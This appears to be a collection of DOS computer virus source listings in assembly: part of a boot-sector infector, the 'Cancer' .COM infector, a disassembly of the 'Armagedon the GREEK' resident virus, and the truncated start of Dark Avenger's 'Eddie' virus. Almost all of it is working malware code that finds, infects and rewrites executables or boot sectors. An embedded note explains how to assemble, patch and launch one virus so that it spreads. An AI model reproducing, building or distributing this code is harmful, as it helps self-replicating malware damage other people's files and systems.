   DB   07CH           ;
   DB   0A3H           ;
   DW   00026H              ;
                       ;
;L7CA1:                      ;
   POP  CX             ;NOT USED
   POP  DI             ;
   POP  SI             ;
   POP  ES             ;
   POP  DS             ;
   POP  AX             ;
   POPF                ;
   JMP  1111:1111      ;
                       ;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ...                                          ;
; IF ALT & CTRL & ? THEN ...                                            ;
;-----------------------------------------------------------------------;
NEW_09:  PUSHF                    ;
   STI                 ;
                       ;
   PUSH AX             ;
   PUSH BX             ;
   PUSH DS             ;
                       ;
   PUSH CS             ;DS=CS
   POP  DS             ;
                       ;
   MOV  BX,[ALT_CTRL W]     ;BX=SCAN CODE LAST TIME
   IN   AL,60H              ;GET SCAN CODE
   MOV  AH,AL               ;SAVE IN AH
   AND  AX,887FH       ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
                       ;
   CMP  AL,1DH              ;IS IT A [CTRL]...
   JNE  N09_10              ;...JUMP IF NO
   MOV  BL,AH               ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
   JMP  N09_30              ;
                       ;
N09_10:  CMP  AL,38H              ;IS IT AN [ALT]...
   JNE  N09_20              ;...JUMP IF NO
   MOV  BH,AH               ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
   JMP  N09_30              ;
                       ;
N09_20:  CMP  BX,0808H       ;IF (CTRL DOWN & ALT DOWN)...
   JNE  N09_30              ;...JUMP IF NO
                       ;
   CMP  AL,17H              ;IF [I]...
   JE   N09_X0              ;...JUMP IF YES
   CMP  AL,53H              ;IF [DEL]...
   JE   ACK_KEYBD      ;...JUMP IF YES
                       ;
N09_30:  MOV  [ALT_CTRL],BX       ;SAVE SCAN CODE FOR NEXT TIME
                       ;
N09_90:  POP  DS             ;
   POP  BX             ;
   POP  AX             ;
   POPF                ;
                       ;
   DB   0EAH           ;JMP F000:E987
OLD_09   DW   ?              ;
   DW   0F000H              ;
                       ;
N09_X0:  JMP  N09_X1              ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
RBOOT:   MOV  DX,03D8H       ;DISABLE COLOR VIDEO !?!?
   MOV  AX,0800H       ;AL=0, AH=DELAY ARG
   OUT  DX,AL               ;
   CALL DELAY               ;
   MOV  [ALT_CTRL],AX  ;AX=0     ;
                       ;
   MOV  AL,3 ;AH=0          ;SELECT 80x25 COLOR
   INT  10H            ;
   MOV  AH,2           ;SET CURSOR POS 0,0
   XOR  DX,DX               ;
   MOV  BH,DH               ;   PAGE 0
   INT  10H            ;
                       ;
   MOV  AH,1           ;SET CURSOR TYPE
   MOV  CX,0607H       ;
   INT  10H            ;
                       ;
   MOV  AX,0420H       ;DELAY (AL=20H FOR EOI BELOW)
   CALL DELAY               ;
                       ;
   CLI                 ;
   OUT  20H,AL              ;SEND EOI TO INT CONTROLLER
                       ;
   MOV  ES,CX     ;CX=0 (DELAY)  ;RESTORE FIRST 32 INT VECTORS
   MOV  DI,CX               ;   (REMOVING OUR INT 09 HANDLER!)
   MOV  SI,offset BEGIN - 128    ;
   MOV  CX,128              ;
   CLD                 ;
   REP  MOVSB               ;
                       ;
   MOV  DS,CX     ;CX=0          ;DS=0
                       ;
   MOV  Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
   MOV  [(19H*4)+2],CS      ;
                       ;
   MOV  AX,0040H       ;DS = ROM DATA AREA
   MOV  DS,AX               ;
                       ;
   MOV  [0017H],AH     ;AH=0     ;KBFLAG (SHIFT STATES) = 0
   INC  Word Ptr [0013H]    ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
                       ;
   PUSH DS             ;IF BIOS F000:E502 == 21E4...
   MOV  AX,0F000H      ;
   MOV  DS,AX               ;
   CMP  Word Ptr [0E502H],21E4H  ;
   POP  DS             ;
   JE   R_90           ;
   INT  19H            ;   IF NOT...REBOOT
                       ;
R_90:    JMP  0F000:0E502H        ;...DO IT ?!?!?!
                       ;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR                                                     ;
;-----------------------------------------------------------------------;
NEW_19:  XOR  AX,AX               ;
                       ;
   MOV  DS,AX               ;DS=0
   MOV  AX,[0410]      ;AX=EQUIP FLAG
   TEST AL,1           ;IF FLOPPY DRIVES ...
   JNZ  N19_20              ;...JUMP
N19_10:  PUSH CS             ;ELSE ES=CS
   POP  ES             ;
   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
   INT  18H            ;LOAD BASIC
                       ;
N19_20:  MOV  CX,0004             ;RETRY COUNT = 4
                       ;
N19_22:  PUSH CX             ;
   MOV  AH,00               ;RESET DISK
   INT  13             ;
   JB   N19_81              ;
   MOV  AX,0201             ;READ BOOT SECTOR
   PUSH DS             ;
   POP  ES             ;
   MOV  BX,offset BEGIN          ;
   MOV  CX,1           ;TRACK 0, SECTOR 1
   INT  13H            ;
N19_81:  POP  CX             ;
   JNB  N19_90              ;
   LOOP N19_22              ;
   JMP  N19_10              ;IF RETRY EXPIRED...LOAD BASIC
                       ;
;-----------------------------------------------------------------------;
; Reinfection segment.                                                  ;
;-----------------------------------------------------------------------;
N19_90:  CMP  DI,3456             ;IF NOT FLAG SET...
   JNZ  RE_INFECT      ;...RE INFECT
                       ;
JMP_BOOT:                    ;PASS CONTROL TO BOOT SECTOR
   JMP  0000:7C00H          ;
                       ;
;-----------------------------------------------------------------------;
; Reinfection Segment.                                                  ;
;-----------------------------------------------------------------------;
RE_INFECT:                   ;
   MOV  SI,offset BEGIN          ;COMPARE BOOT SECTOR JUST LOADED WITH
   MOV  CX,00E6H       ;   OURSELF
   MOV  DI,SI               ;
   PUSH CS             ;
   POP  ES             ;
   CLD                 ;
   REPE CMPSB               ;
   JE   RI_12               ;IF NOT EQUAL...
                       ;
   INC  Word Ptr ES:[COUNTER_1]  ;INC. COUNTER IN OUR CODE (NOT DS!)
                       ;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED  ;
   MOV  BX,offset TABLE          ;FORMAT INFO
   MOV  DX,0000             ;DRIVE A: HEAD 0
   MOV  CH,40-1             ;TRACK 39
   MOV  AH,5           ;FORMAT
   JMP  RI_10               ;REMOVE THE FORMAT OPTION FOR NOW !
                       ;
; <<< NO EXECUTION PATH TO HERE >>>    ;
   JB   RI_80               ;
                       ;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10:   MOV  ES,DX               ;ES:BX = 0000:7C00, HEAD=0
   MOV  BX,offset BEGIN          ;TRACK 40H
   MOV  CL,8           ;SECTOR 8
   MOV  AX,0301H       ;WRITE 1 SECTOR
   INT  13H            ;
                       ;
   PUSH CS             ;   (ES=CS FOR PUT_NEW_09 BELOW)
   POP  ES             ;
   JB   RI_80               ;IF WRITE ERROR...JUMP TO BOOT CODE
                       ;
   MOV  CX,0001             ;WRITE INFECTED BOOT SECTOR !
   MOV  AX,0301             ;
   INT  13H            ;
   JB   RI_80               ;   IF ERROR...JUMP TO BOOT CODE
                       ;
RI_12:   MOV  DI,3456H       ;SET "JUST INFECTED ANOTHER ONE"...
   INT  19H            ;...FLAG AND REBOOT
                       ;
RI_80:   CALL PUT_NEW_09          ;SAVE/REDIRECT INT 9 (KEYBOARD)
   DEC  Word Ptr ES:[COUNTER_1]  ;   (DEC. CAUSE DIDNT INFECT)
   JMP  JMP_BOOT       ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
N09_X1:  MOV  [ALT_CTRL],BX       ;SAVE ALT & CTRL STATUS
                       ;
   MOV  AX,[COUNTER_1]      ;PUT COUNTER_1 INTO RESET FLAG
   MOV  BX,0040H       ;
   MOV  DS,BX               ;
   MOV  [0072H],AX          ;   0040:0072 = RESET FLAG
   JMP  N09_90              ;
                       ;
;-----------------------------------------------------------------------;
; DELAY                                                                 ;
;                                                                       ;
; ON ENTRY    AH:CX = LOOP COUNT                                        ;
;-----------------------------------------------------------------------;
DELAY:   SUB  CX,CX               ;
D_01:    LOOP $              ;
   SUB  AH,1           ;
   JNZ  D_01           ;
   RET                 ;
                       ;
;-----------------------------------------------------------------------;
;                                                                       ;
;-----------------------------------------------------------------------;
A7DF4         DB   27H,00H,8,2

COUNTER_1     DW   001CH
ALT_CTRL      DW   0
A7DFC         DB   27H,0,8,2




       page    ,132
       name    CANCER
       title   Cancer - a mutation of the V-847 virus
       .radix  16
code    segment
       assume  cs:code,ds:code
       org     100

olddta  equ     80
virlen  equ     offset endcode - offset start
smalcod equ     offset endcode - offset transf
buffer  equ     offset endcode + 100
newdta  equ     offset endcode + 10
fname   =       newdta + 1E
virlenx =       offset endcode - offset start

start:
       jmp     cancer

ident   dw      'VI'
counter db      0
allcom  db      '*.COM',0
vleng   db      virlen
n_10D   db      3               ;Unused
progbeg dd      ?
eof     dw      ?
handle  dw      ?

cancer:
       mov     ax,cs           ;Move program code
       add     ax,1000         ; 64K bytes forward
       mov     es,ax
       inc     [counter]
       mov     si,offset start
       xor     di,di
       mov     cx,virlen
       rep     movsb

       mov     dx,newdta       ;Set new Disk Transfer Address
       mov     ah,1A           ;Set DTA
       int     21
       mov     dx,offset allcom        ;Search for '*.COM' files
       mov     cx,110b         ;Normal, Hidden or System
       mov     ah,4E           ;Find First file
       int     21
       jc      done            ;Quit if none found

mainlp:
       mov     dx,offset fname
       mov     ax,3D02         ;Open file in Read/Write mode
       int     21
       mov     [handle],ax     ;Save handle
       mov     bx,ax
       push    es
       pop     ds
       mov     dx,buffer
       mov     cx,0FFFF        ;Read all bytes
       mov     ah,3F           ;Read from handle
       int     21              ;Bytes read in AX
       add     ax,buffer
       mov     cs:[eof],ax     ;Save pointer to the end of file

       xor     cx,cx           ;Go to file beginning
       mov     dx,cx
       mov     bx,cs:[handle]
       mov     ax,4200         ;LSEEK from the beginning of the file
       int     21
       jc      close           ;Leave this file if error occures

       mov     dx,0            ;Write the whole code (virus+file)
       mov     cx,cs:[eof]     ; back onto the file
       mov     bx,cs:[handle]
       mov     ah,40           ;Write to handle
       int     21

close:
       mov     bx,cs:[handle]
       mov     ah,3E           ;Close the file
       int     21

       push    cs
       pop     ds              ;Restore DS
       mov     ah,4F           ;Find next matching file
       mov     dx,newdta
       int     21
       jc      done            ;Exit if all found
       jmp     mainlp          ;Otherwise loop again

done:
       mov     dx,olddta       ;Restore old Disk Transfer Address
       mov     ah,1A           ;Set DTA
       int     21

       mov     si,offset transf        ;Move this part of code
       mov     cx,smalcod      ;Code length
       xor     di,di           ;Move to ES:0
       rep     movsb           ;Do it

       xor     di,di           ;Clear DI
       mov     word ptr cs:[progbeg],0
       mov     word ptr cs:[progbeg+2],es      ;Point progbeg at program start
       jmp     cs:[progbeg]    ;Jump at program start

transf:
       push    ds
       pop     es
       mov     si,buffer+100
       cmp     [counter],1
       jne     skip
       sub     si,200
skip:
       mov     di,offset start
       mov     cx,0FFFF        ;Restore original program's code
       sub     cx,si
       rep     movsb
       mov     word ptr cs:[start],offset start
       mov     word ptr cs:[start+2],ds
       jmp     dword ptr cs:[start]    ;Jump to program start
endcode label   byte

       int     20              ;Dummy program
       int     20              ;???

       db      0               ;Unused

code    ends
       end     start





PAGE  59,132

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;лл                                                                      лл
;лл                             ARMAGEDO                                 лл
;лл                                                                      лл
;лл      Created:   21-Feb-91                                            лл
;лл      Version:                                                        лл
;лл      Passes:    5          Analysis Options on: H                    лл
;лл                                                                      лл
;лл                                                                      лл
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

data_1e         equ     2Ch                     ; (7415:002C=0)
data_2e         equ     81h                     ; (7415:0081=0)

seg_a           segment byte public
               assume  cs:seg_a, ds:seg_a


               org     100h

armagedo        proc    far

start:
               jmp     loc_36                  ; (0436)

armagedo        endp

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

int_21h_entry   proc    far
               pushf                           ; Push flags
               cmp     ah,0E0h
               jne     loc_2                   ; Jump if not equal
               mov     ax,0DADAh
               popf                            ; Pop flags
               iret                            ; Interrupt return
int_21h_entry   endp

loc_2:
               cmp     ah,0E1h
               jne     loc_3                   ; Jump if not equal
               mov     ax,cs
               popf                            ; Pop flags
               iret                            ; Interrupt return
loc_3:
               cmp     ax,4B00h
               je      loc_5                   ; Jump if equal
loc_4:
               popf                            ; Pop flags
               jmp     dword ptr cs:data_4     ; (7415:0122=138Dh)
data_4          dd      7415138Dh
data_6          dd      7415022Bh
data_8          db      0
data_9          db      8
data_10         db      10h
data_11         db      9
data_12         db      34h
data_13         dw      0
               db      0
data_14         db      0
data_15         db      0
data_16         db      0
               db      43h, 4Fh, 4Dh
data_17         dw      5
data_18         dw      2
               db      0, 0
data_19         dw      1301h
data_20         dw      1306h
data_21         dw      0FFFEh
data_22         dw      7415h
data_23         dw      3D5Bh
data_24         dw      20h
data_25         dw      0EC2h
data_26         dw      6E68h
               db      0, 0, 81h, 0
data_27         dw      12ACh
               db      5Ch, 0
data_28         dw      12ACh
               db      6Ch, 0
data_29         dw      12ACh
loc_5:
               push    ds
               push    bx
               push    si
               push    cx
               push    ax
               push    dx
               push    bp
               push    es
               push    di
               cld                             ; Clear direction
               push    dx
               push    ds
               xor     cx,cx                   ; Zero register
               mov     si,dx
loc_6:
               mov     al,[si]
               cmp     al,0
               je      loc_7                   ; Jump if equal
               inc     cx
               inc     si
               jmp     short loc_6             ; (016C)
loc_7:
               add     dx,cx
               sub     dx,3
               mov     si,135h
               mov     di,dx
               cmp     byte ptr [di-3],4Eh     ; 'N'
               jne     loc_8                   ; Jump if not equal
               cmp     byte ptr [di-2],44h     ; 'D'
               je      loc_11                  ; Jump if equal
loc_8:
               mov     cx,3

locloop_9:
               mov     al,cs:[si]
               cmp     al,[di]
               jne     loc_11                  ; Jump if not equal
               inc     si
               inc     di
               loop    locloop_9               ; Loop if cx > 0

               pop     ds
               pop     dx
               push    dx
               push    ds
               mov     si,dx
               mov     dl,0
               cmp     byte ptr [si+1],3Ah     ; ':'
               jne     loc_10                  ; Jump if not equal
               mov     dl,[si]
               and     dl,0Fh
loc_10:
               mov     ah,36h                  ; '6'
               int     21h                     ; DOS Services  ah=function 36h
                                               ;  get free space, drive dl,1=a:
               cmp     ax,0FFFFh
               je      loc_11                  ; Jump if equal
               jmp     short loc_13            ; (01C5)
               db      90h
loc_11:
               jmp     loc_19                  ; (02F8)
               jmp     loc_20                  ; (02FD)
loc_12:
               jmp     loc_17                  ; (02C4)
               jmp     loc_18                  ; (02CF)
loc_13:
               cmp     bx,3
               jb      loc_11                  ; Jump if below
               pop     ds
               pop     dx
               push    ds
               push    dx
               mov     cs:data_22,ds           ; (7415:0144=7415h)
               mov     cs:data_23,dx           ; (7415:0146=3D5Bh)
               mov     ax,4300h
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               mov     cs:data_24,cx           ; (7415:0148=20h)
               mov     ax,4301h
               xor     cx,cx                   ; Zero register
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               mov     bx,0FFFFh
               mov     ah,48h                  ; 'H'
               int     21h                     ; DOS Services  ah=function 48h
                                               ;  allocate memory, bx=bytes/16
               mov     ah,48h                  ; 'H'
               int     21h                     ; DOS Services  ah=function 48h
                                               ;  allocate memory, bx=bytes/16
               mov     cs:data_19,ax           ; (7415:013E=1301h)
               mov     ax,cs
               mov     ds,ax
               mov     dx,541h
               mov     ah,1Ah
               int     21h                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               pop     dx
               pop     ds
               mov     ax,3D02h
               clc                             ; Clear carry flag
               int     21h                     ; DOS Services  ah=function 3Dh
                                               ;  open file, al=mode,name@ds:dx
               jc      loc_12                  ; Jump if carry Set
               mov     bx,ax
               mov     cs:data_17,ax           ; (7415:0138=5)
               mov     cx,0FFFFh
               mov     ax,cs:data_19           ; (7415:013E=1301h)
               mov     ds,ax
               mov     dx,437h
               mov     ah,3Fh                  ; '?'
               clc                             ; Clear carry flag
               int     21h                     ; DOS Services  ah=function 3Fh
                                               ;  read file, cx=bytes, to ds:dx
               jc      loc_12                  ; Jump if carry Set
               mov     cs:data_18,ax           ; (7415:013A=2)
               cmp     ax,0E000h
               ja      loc_12                  ; Jump if above
               cmp     ax,437h
               jb      loc_15                  ; Jump if below
               mov     si,438h
               add     si,si
               sub     si,15h
               mov     cx,13h
               mov     di,524h

locloop_14:
               mov     al,[si]
               mov     ah,cs:[di]
               cmp     ah,al
               jne     loc_15                  ; Jump if not equal
               inc     si
               inc     di
               loop    locloop_14              ; Loop if cx > 0

               jmp     short loc_17            ; (02C4)
               db      90h
loc_15:
               mov     ax,4200h
               mov     bx,cs:data_17           ; (7415:0138=5)
               xor     cx,cx                   ; Zero register
               mov     dx,cx
               int     21h                     ; DOS Services  ah=function 42h
                                               ;  move file ptr, cx,dx=offset
               jc      loc_17                  ; Jump if carry Set
               mov     si,100h
               mov     cx,437h
               xor     di,di                   ; Zero register
               mov     ax,cs:data_19           ; (7415:013E=1301h)
               mov     ds,ax

locloop_16:
               mov     al,cs:[si]
               mov     [di],al
               inc     si
               inc     di
               loop    locloop_16              ; Loop if cx > 0

               mov     ax,5700h
               mov     bx,cs:data_17           ; (7415:0138=5)
               int     21h                     ; DOS Services  ah=function 57h
                                               ;  get/set file date & time
               mov     cs:data_26,cx           ; (7415:014C=6E68h)
               mov     cs:data_25,dx           ; (7415:014A=0EC2h)
               mov     ax,cs:data_19           ; (7415:013E=1301h)
               mov     ds,ax
               mov     si,437h
               mov     al,[si]
               add     al,0Bh
               mov     [si],al
               xor     dx,dx                   ; Zero register
               mov     cx,cs:data_18           ; (7415:013A=2)
               add     cx,437h
               mov     bx,cs:data_17           ; (7415:0138=5)
               mov     ah,40h                  ; '@'
               int     21h                     ; DOS Services  ah=function 40h
                                               ;  write file cx=bytes, to ds:dx
               mov     cx,cs:data_26           ; (7415:014C=6E68h)
               mov     dx,cs:data_25           ; (7415:014A=0EC2h)
               mov     bx,cs:data_17           ; (7415:0138=5)
               mov     ax,5701h
               int     21h                     ; DOS Services  ah=function 57h
                                               ;  get/set file date & time
loc_17:
               mov     bx,cs:data_17           ; (7415:0138=5)
               mov     ah,3Eh                  ; '>'
               int     21h                     ; DOS Services  ah=function 3Eh
                                               ;  close file, bx=file handle
               push    cs
               pop     ds
loc_18:
               mov     dx,80h
               mov     ah,1Ah
               int     21h                     ; DOS Services  ah=function 1Ah
                                               ;  set DTA to ds:dx
               mov     ax,cs:data_19           ; (7415:013E=1301h)
               mov     es,ax
               mov     ah,49h                  ; 'I'
               int     21h                     ; DOS Services  ah=function 49h
                                               ;  release memory block, es=seg
               mov     ax,cs:data_22           ; (7415:0144=7415h)
               mov     ds,ax
               mov     dx,cs:data_23           ; (7415:0146=3D5Bh)
               mov     ax,4301h
               mov     cx,cs:data_24           ; (7415:0148=20h)
               int     21h                     ; DOS Services  ah=function 43h
                                               ;  get/set file attrb, nam@ds:dx
               jmp     short loc_20            ; (02FD)
               db      90h
loc_19:
               pop     ds
               pop     dx
               jmp     short loc_20            ; (02FD)
               db      90h
loc_20:
               pop     di
               pop     es
               pop     bp
               pop     dx
               pop     ax
               pop     cx
               pop     si
               pop     bx
               pop     ds
               jmp     loc_4                   ; (011C)

;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл
;
;                       External Entry Point
;
;лллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл

int_08h_entry   proc    far
               push    bp
               push    ds
               push    es
               push    ax
               push    bx
               push    cx
               push    dx
               push    si
               push    di
               pushf                           ; Push flags
               call    cs:data_6               ; (7415:0126=22Bh)
               call    sub_1                   ; (0365)
               push    cs
               pop     ds
               mov     ah,5
               mov     ch,data_10              ; (7415:012C=10h)
               cmp     ah,ch
               ja      loc_22                  ; Jump if above
               mov     ah,6
               cmp     ah,ch
               jb      loc_22                  ; Jump if below
               mov     ah,data_8               ; (7415:012A=0)
               cmp     ah,1
               je      loc_21                  ; Jump if equal
               mov     ah,1
               mov     data_8,ah               ; (7415:012A=0)
               jmp     short loc_22            ; (035B)
               db      90h
loc_21:
               call    sub_2                   ; (03CB)
               inc     data_13                 ; (7415:012F=0)
               mov     ax,data_13              ; (7415:012F=0)
               cmp     ax,21Ch
               jne     loc_22                  ; Jump if not equal
               xor     ax,ax                   ; Zero register
               mov     data_8,ah               ; (7415:012A=0)
               mov     data_13,ax              ; (7415:012F=0)
               mov     data_15,ah              ; (7415:0133=0)
loc_22:
               pop     di
               pop     si
               pop     dx
               pop     cx
               pop     bx
               pop     ax
               pop     es
               pop     ds
               pop     bp
               iret                            ; Interrupt return
int_08h_entry   endp


;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_1           proc    near
               push    cs
               pop     ds
               xor     al,al                   ; Zero register
               mov     ah,data_9               ; (7415:012B=8)
               cmp     ah,11h
               jne     loc_26                  ; Jump if not equal
               mov     ah,data_12              ; (7415:012E=34h)
               cmp     ah,3Bh                  ; ';'
               jne     loc_27                  ; Jump if not equal
               mov     ah,data_11              ; (7415:012D=9)
               cmp     ah,3Bh                  ; ';'
               jne     loc_28                  ; Jump if not equal
               mov     ah,data_10              ; (7415:012C=10h)
               cmp     ah,17h
               jne     loc_29                  ; Jump if not equal
               mov     data_10,al              ; (7415:012C=10h)
loc_23:
               mov     data_11,al              ; (7415:012D=9)
loc_24:
               mov     data_12,al              ; (7415:012E=34h)
loc_25:
               mov     data_9,al               ; (7415:012B=8)
               retn
loc_26:
               inc     data_9                  ; (7415:012B=8)
               retn
loc_27:
               inc     data_12                 ; (7415:012E=34h)
               jmp     short loc_25            ; (0396)
loc_28:
               inc     data_11                 ; (7415:012D=9)
               jmp     short loc_24            ; (0393)
loc_29:
               inc     data_10                 ; (7415:012C=10h)
               jmp     short loc_23            ; (0390)
sub_1           endp

               db      '+++aTh0m0s7=35dp081,,,,141'

;пппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппппп
;                              SUBROUTINE
;мммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммммм

sub_2           proc    near
               mov     al,data_15              ; (7415:0133=0)
               cmp     al,1
               je      loc_ret_35              ; Jump if equal
               mov     al,data_16              ; (7415:0134=0)
               cmp     al,1
               je      loc_31                  ; Jump if equal
               mov     cx,3

locloop_30:
               mov     dx,cx
               xor     ah,ah                   ; Zero register
               mov     al,83h
               int     14h                     ; RS-232   dx=com#, ah=func 40h
                                               ;  reset port, al=init parameter
               loop    locloop_30              ; Loop if cx > 0

               mov     al,1
               mov     data_16,al              ; (7415:0134=0)
               jmp     short loc_ret_35        ; (0435)
               db      90h
loc_31:
               push    cs
               pop     ds
               mov     si,3B1h
               mov     al,data_14              ; (7415:0132=0)
               cmp     al,1Ah
               jne     loc_32                  ; Jump if not equal
               jmp     short loc_33            ; (041A)
               db      90h
loc_32:
               xor     ah,ah                   ; Zero register
               add     si,ax
               mov     al,[si]
               mov     dx,3F8h
               out     dx,al                   ; port 3F8h, RS232-1 xmit buffr
               mov     dx,2F8h
               out     dx,al                   ; port 2F8h, RS232-2 xmit buffr
               mov     dx,2E8h
               out     dx,al                   ; port 2E8h
               mov     dx,3E8h
               out     dx,al                   ; port 3E8h
               inc     data_14                 ; (7415:0132=0)
               jmp     short loc_ret_35        ; (0435)
               db      90h
loc_33:
               mov     cx,3

locloop_34:
               mov     dx,cx
               mov     al,0Dh
               mov     ah,1
               int     14h                     ; RS-232   dx=com#, ah=func 41h
                                               ;  write char al, ah=retn status
               loop    locloop_34              ; Loop if cx > 0

               mov     ax,1
               mov     data_15,al              ; (7415:0133=0)
               mov     data_14,ah              ; (7415:0132=0)
               mov     data_16,ah              ; (7415:0134=0)

loc_ret_35:
               retn
sub_2           endp

loc_36:
               mov     ah,0E0h
               int     21h                     ; DOS Services  ah=function E0h
               cmp     ax,0DADAh
               jne     loc_37                  ; Jump if not equal
               jmp     loc_40                  ; (04DB)
loc_37:
               push    cs
               pop     ds
               mov     ax,3521h
               int     21h                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               mov     word ptr data_4,bx      ; (7415:0122=138Dh)
               mov     word ptr data_4+2,es    ; (7415:0124=7415h)
               mov     dx,103h
               mov     ax,2521h
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               mov     ax,3508h
               int     21h                     ; DOS Services  ah=function 35h
                                               ;  get intrpt vector al in es:bx
               mov     word ptr data_6,bx      ; (7415:0126=22Bh)
               mov     word ptr data_6+2,es    ; (7415:0128=7415h)
               mov     dx,309h
               mov     ax,2508h
               int     21h                     ; DOS Services  ah=function 25h
                                               ;  set intrpt vector al to ds:dx
               mov     ah,2Ch                  ; ','
               int     21h                     ; DOS Services  ah=function 2Ch
                                               ;  get time, cx=hrs/min, dh=sec
               mov     data_10,ch              ; (7415:012C=10h)
               mov     data_11,cl              ; (7415:012D=9)
               mov     data_12,dh              ; (7415:012E=34h)
               mov     ax,cs:data_1e           ; (7415:002C=0)
               mov     ds,ax
               xor     si,si                   ; Zero register
loc_38:
               mov     al,[si]
               cmp     al,1
               je      loc_39                  ; Jump if equal
               inc     si
               jmp     short loc_38            ; (0486)
loc_39:
               inc     si
               inc     si
               mov     dx,si
               mov     ax,cs
               mov     es,ax
               mov     bx,5Ah
               mov     ah,4Ah                  ; 'J'
               int     21h                     ; DOS Services  ah=function 4Ah
                                               ;  change mem allocation, bx=siz
               mov     bx,cs:data_2e           ; (7415:0081=0)
               mov     ax,cs
               mov     es,ax
               mov     cs:data_28,ax           ; (7415:0156=12ACh)
               mov     cs:data_29,ax           ; (7415:015A=12ACh)
               mov     cs:data_27,ax           ; (7415:0152=12ACh)
               mov     ax,4B00h
               mov     cs:data_20,ss           ; (7415:0140=1306h)
               mov     cs:data_21,sp           ; (7415:0142=0FFFEh)
               pushf                           ; Push flags
               call    cs:data_4               ; (7415:0122=138Dh)
               mov     ax,cs:data_20           ; (7415:0140=1306h)
               mov     ss,ax
               mov     ax,cs:data_21           ; (7415:0142=0FFFEh)
               mov     sp,ax
               mov     ax,cs
               mov     ds,ax
               mov     dx,537h
               int     27h                     ; Terminate & stay resident
loc_40:
               mov     ah,0E1h
               int     21h                     ; DOS Services  ah=function E1h
               mov     si,4F3h
               mov     cs:[si+3],ax
               mov     ax,4F8h
               mov     cs:[si+1],ax
               mov     ax,cs:data_18           ; (7415:013A=2)
               mov     bx,cs
;*              jmp     far ptr loc_1           ;*(0000:0000)
               db      0EAh, 0, 0, 0, 0
               db      8Bh, 0C8h, 8Eh, 0DBh, 0BEh, 0
               db      1, 0BFh, 37h, 5

locloop_41:
               mov     al,[di]
               mov     [si],al
               inc     si
               inc     di
               loop    locloop_41              ; Loop if cx > 0

               mov     si,51Fh
               mov     cs:[si+3],ds
               mov     al,byte ptr ds:[100h]   ; (7415:0100=0E9h)
               sub     al,0Bh
               mov     byte ptr ds:[100h],al   ; (7415:0100=0E9h)
               mov     ax,ds
               mov     es,ax
               mov     ss,ax
               jmp     far ptr start           ; (0100)
               db      'Armagedon the GREEK'
               db      0D8h, 20h

seg_a           ends



               end     start











OK, Rob - here ya' go.  As I understand it, this is only one revision level
lower than the "current" version of the virus -- but I have no idea what the
differences are between the two.  Sigh.  TASM can be used to assemble the
code, then you can replace (using DEBUG) the first 3 bytes of the linked
.COM file to 9H 65 00 to jump to the start of the virus code.  I have been
unable to cause the resulting executable to infect file on floppy until the
virus is run on a hard drive first.  So, to begin infections (after
assembling/linking/editing the executable):  1) Run the modified executable,
2) Run a program on your hard drive.  From there it will spread to files on
the hard drive and the floppy.  FluShot+ makes a good monitor for watching
this virus at work.  Have fun!

Thanks for your help, and thanks for a great weekend.

;************************
;*                      *
;*      E D D I E       *
;*                      *
;*   by  Dark Avenger   *
;*                      *
;*      3-JAN-1989      *
;*                      *
;*     version 1.31x    *
;*                      *
;************************

; "Blessed is he who expects nothing, for he shall not be disappointed."

; The original source of one of the first Bulgarian viruses is in front of
; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
; the virus has spread surprisingly quickly troughout the country and made a
; quick round the globe.  (It's well-known in Eastern and Western Europe, as
; well as in USA.) Due to the aniversary of its creation, the source is
; distributed freely.  You have the rights to distribute the source which can
; be charged or free of charge, with the only condition not to modify it.
; The one, who intentionaly distributes this source modified in any way will
; be punished!  Still, the author will be glad if any of you improves it and
; spreads the resulting executive file (i.e., the virus itself).  Pay
; attention to the fact that after you assemble the source, the resulting
; .COM-file cannot be run.  For that purpose you have to create a three-byte
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
; two files.  Don't try to place a JMP at the beginning of the source.

; DISCLAIMER: The author does not take any responsability for any damage,
; either direct or implied, caused by the usage or not of this source or of
; the resulting code after assembly. No warrant is made about the product
; functionability or quality.

; I cannot resist to express my special gratitude to my "populazer" Dipl.
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
; not, helps very much in the spreading of my viruses, in spite of the fact
; that he tries to do just the opposite (writing programs in C has never
; led to any good).
; Greetings to all virus writers!

code    segment
       assume  cs:code,ds:code
copyright:
       db      'Eddie lives...somewhere in time!',0
date_stamp:
       dd      12239000h
checksum:
       db      30

; Return the control to an .EXE file:
; Restores DS=ES=PSP, loads SS:SP and CS:IP.





exit_exe:
       mov     bx,es
       add     bx,10h
       add     bx,word ptr cs:[si+call_adr+2]
